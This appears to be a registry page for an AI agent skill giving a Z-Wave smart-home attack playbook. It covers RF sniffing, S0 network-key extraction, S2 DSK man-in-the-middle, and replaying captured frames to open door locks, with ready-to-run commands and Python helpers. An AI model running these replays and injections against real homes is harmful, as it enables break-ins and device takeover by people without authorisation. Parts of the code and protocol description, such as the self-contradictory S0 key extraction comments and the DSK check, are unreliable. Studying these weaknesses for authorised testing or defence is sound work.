Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
62
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.mdZ-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.
gr-zwave (GNU Radio Z-Wave OOK decoder), EZ-Wave,
Z-Force / zniffer, Scapy with Z-Wave layer.# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iqCapture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.
S0 inclusion sequence:
NETWORK_KEY_SET with the 16-byte network key XOR'd
with the Z-Wave default key 0x00×16.NETWORK_KEY_VERIFY.Since the default key is all-zeros, the XOR is trivially reversible:
DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
# Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.
# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.Use Scapy Z-Wave layer to parse frames from pcap:
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txtDevices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.binWith HackRF + GNU Radio for raw OOK replay:
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:
MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.
Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under their own controller.
# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".
# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
pk_bytes = bytes.fromhex(public_key_hex)
dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows injecting arbitrary Z-Wave frames via the USB Z-Wave controller:
# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # Switch ON
# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000
# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"kg_add_node(
kind="finding",
label=f"Z-Wave S0 network key extracted NodeID={node_id}",
props={
"key": f"z-wave::s0::{home_id}",
"home_id": home_id,
"node_id": node_id,
"s0_network_key_hex": s0_key.hex(),
"security_class": "S0",
"frequency_mhz": 908.42,
"source": "gr-zwave+ezwave",
},
)31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.